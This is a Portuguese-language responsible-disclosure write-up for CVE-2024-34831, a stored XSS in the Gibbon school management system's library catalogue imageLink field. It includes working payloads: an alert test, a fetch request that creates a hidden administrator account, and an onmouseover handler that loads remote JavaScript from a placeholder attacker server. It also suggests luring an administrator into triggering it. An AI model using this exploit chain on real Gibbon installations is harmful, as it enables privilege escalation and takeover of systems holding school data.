
Divulgação de CVE-2024-34831
Gibbon é um fantástico sistema de gestão escolar completo e de código aberto. Muito esforço está sendo feito para reformular a base de código bastante antiga.
Autor: Christian Bajada
O parâmetro imageLink ao editar/enviar novos livros (/modules/Library/library_manage_catalog_editProcess.php) é vulnerável a XSS. Usuários com a permissão Manage Catalog podem explorar essa vulnerabilidade, fazendo com que scripts arbitrários sejam executados para usuários com permissões de nível superior e elevando privilégios.
[http://x](http://x/)" onerror='alert(1)' e o código do alerta será executado no carregamento da página ao carregar a página da biblioteca:

Esta seção explica como essa vulnerabilidade pode ser usada para algo mais perigoso do que um simples popup de alerta (1). Vamos enganar um administrador com sessão iniciada para que crie, sem dar por isso, outro administrador, acessível pelo atacante.
O campo imageLink é pequeno demais para nos permitir invocar qualquer funcionalidade significativa na Plataforma Gibbon. O que podemos fazer é simplesmente hospedar o JavaScript em outro local e fazer com que ele seja baixado e executado pelo navegador. A falta de CSP torna isso possível.
fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });
http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"
Você precisa esperar até que o administrador navegue até o catálogo da biblioteca ou convencê-lo via mensagem instantânea, e-mail ou qualquer outro canal.
O ato de passar o mouse (onmouseover) sobre a imagem do livro fará com que o payload seja obtido do local (neste caso <yourserver.com>) e executado. Isso resulta na criação de um usuário administrador que o usuário malicioso agora pode acessar. O listener 'onerror' também pode ser usado para fazer o payload ser executado imediatamente em vez de precisar passar o mouse sobre a imagem.
Você pode verificar o usuário criado no menu ADMIN > User Admin

Publicado de acordo com as diretrizes de divulgação responsável https://github.com/GibbonEdu/core/security.